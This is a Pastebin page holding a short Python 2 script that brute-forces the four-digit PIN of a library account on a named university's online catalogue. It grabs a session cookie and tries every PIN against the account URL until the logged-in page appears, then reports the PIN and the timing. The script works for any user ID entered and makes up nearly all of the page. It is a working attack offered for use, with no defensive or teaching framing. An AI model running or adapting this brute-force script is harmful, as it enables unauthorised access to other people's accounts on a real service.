Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import re, urllib
- import time
- def get_middle_text(line, string_start, string_end):
- temp = line.split(string_start)[1]
- return temp.split(string_end)[0]
- loggedIn = -1;
- #pointless formatting
- print "\n\n\t\t// BRUTING THE LIBARRY \\\\\n\n"
- #insert UID
- sid = raw_input("Enter >YOUR< ID: ") or "112 14462"
- count = 0
- cookie = ""
- #insert StartPoint
- count = int(raw_input("Insert start position between 0-9998: "))
- if count < 0 or count > 9998:
- print "invalid number (%i). Starting at 0000" % count
- count = 0
- count = count-1
- searchType = int(raw_input("Search type 1 (Less CPU), 2 (Legacy): ")) or 2
- if searchType != 1 and searchType != 2:
- print "invalid number (%i). Legacy selected" % searchType
- searchType = 2
- startCount = count
- startTime = time.time()
- while loggedIn == -1:
- count = count + 1
- page = urllib.urlopen("http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&auth=true").read()
- # Search type
- if searchType == 1:
- cookie = page[945:963]
- string = "http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&sec1=%s&sec2=%04d&menu=account&session=%s" % (sid, count, cookie)
- if searchType == 2:
- cookie = re.search('session=(.*)&profile=', page)
- string = "http://catalogue.library.lincoln.ac.uk/ipac20/ipac.jsp?profile=ln&sec1=%s&sec2=%04d&menu=account&session=%s" % (sid, count, cookie.group(1))
- page = urllib.urlopen(string).read()
- loggedIn = page.find("// the date selector script//////////////////////////////////////")
- print "Trying: %04d" % count
- print "\n\n\tPin Number for %s successfully Found: %i" % (sid, count)
- number = (time.time() - startTime)/(count-startCount)
- seconds = (time.time() - startTime)
- print "\n\tTaking %.02f seconds, (%f per Brute attempt).\n\n" % (seconds, number)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement